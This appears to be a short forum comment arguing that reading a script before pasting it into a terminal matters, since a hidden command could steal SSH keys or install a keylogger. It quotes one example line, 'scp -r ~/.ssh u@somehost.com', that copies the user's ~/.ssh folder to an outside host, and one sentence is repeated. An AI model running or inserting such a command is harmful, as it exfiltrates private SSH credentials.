It's not the same by any measure.
When you read the script in a browser, than pastes it in a terminal, you know that "scp -r ~/.ssh u@somehost.com" isn' there.
When you read the script in a browser, than pastes it in a terminal, you know that "scp -r ~/.ssh u@somehost.com" isn' there.
For example, it won't protect against stealing the .ssh folder and installing a keylogger at your computer.